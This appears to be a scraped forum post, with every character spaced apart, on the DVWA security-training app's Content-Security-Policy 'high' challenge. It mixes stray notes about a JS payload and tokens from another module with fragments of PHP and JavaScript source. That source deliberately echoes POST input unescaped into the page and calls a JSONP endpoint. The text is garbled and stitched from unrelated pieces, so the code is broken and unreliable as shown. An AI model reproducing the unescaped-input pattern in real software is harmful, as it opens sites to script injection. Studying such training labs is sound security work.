S e c u r i t y   P o l i c y   h i g h . j s p a y l o a d J a v a s c r i p t h i g h . p h p t o k e n t o k e n _ p a r t _ 1 ( A B C D , 4 4 ) t o k e n _ p a r t _ 2 ( X X ) ( 3 0 0 s ) t o k e n _ p a r t _ 3 t o k e n o k i 使 < ? p h p $ h e a d e r C S P   =   " C o n t e n t - S e c u r i t y - P o l i c y :   s c r i p t - s r c   ' s e l f ' ; " ; h e a d e r ( $ h e a d e r C S P ) ; ? > < ? p h p i f   ( i s s e t   ( $ _ P O S T [ ' i n c l u d e ' ] ) )   { $ p a g e [   ' b o d y '   ]   . =   "                 "   .   $ _ P O S T [ ' i n c l u d e ' ]   .   " " ; } $ p a g e [   ' b o d y '   ]   . =   ' < f o r m   n a m e = " c s p "   m e t h o d = " P O S T " >                 < p > T h e   p a g e   m a k e s   a   c a l l   t o   '   .   D V W A _ W E B _ P A G E _ T O _ R O O T   .   ' / v u l n e r a b i l i t i e s / c s p / s o u r c e / j s o n p . p h p   t o   l o a d   s o m e   c o d e .   M o d i f y   t h a t   p a g e   t o   r u n   y o u r   o w n   c o d e . < / p >                 < p > 1 + 2 + 3 + 4 + 5 = < s p a n   i d = " a n s w e r " > < / s p a n > < / p >                 < i n p u t   t y p e = " b u t t o n "   i d = " s o l v e "   v a l u e = " S o l v e   t h e   s u m "   / > < / f o r m > < s c r i p t   > < / s c r i p t > ' ; f u n c t i o n   c l i c k B u t t o n ( )   {         v a r   s   =   d o c u m e n t . c r e a t e E l e m e n t ( " s c r i p t " ) ;         s . s r c   =   " s o u r c e / j s o n p . p h p ? c a l l b a c k = s o l v e S u m " ;         d o c u m e n t . b o d y . a p p e n d C h i l d ( s ) ; } f u n c t i o n   s o l v e S u m ( o b j )   {                 i f   ( " a n s w e r "   i n   o b j )   {                                 d o c u m e n t . g e t E l e m e n t B y I d ( " a n s w e r " ) . i n n e r H T M L   =   o b j [ ' a n s w e r ' ] ;                 } } v a r   s o l v e _ b u t t o n   =   d o c u m e n t . g e t E l e m e n t B y I d   ( " s o l v e " ) ; i f   ( s o l v e _ b u t t o n )   {                 s o l v e _ b u t t o n . a d d E v e n t L i s t e n e r ( " c l i c k " ,   f u n c t i o n ( )   {                                 c l i c k B u t t o n ( ) ;                 } ) ; } i f   ( i s s e t   ( $ _ P O S T [ ' i n c l u d e ' ] ) )   { $ p a g e [   ' b o d y '   ]   . =   "         "   .   $ _ P O S T [ ' i n c l u d e ' ]   .   " " ; } < ? p h p $ p a g e [   ' b o d y '   ]   . =   < < < E O F < s c r i p t   > < / s c r i p t > E O F ; ? >
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则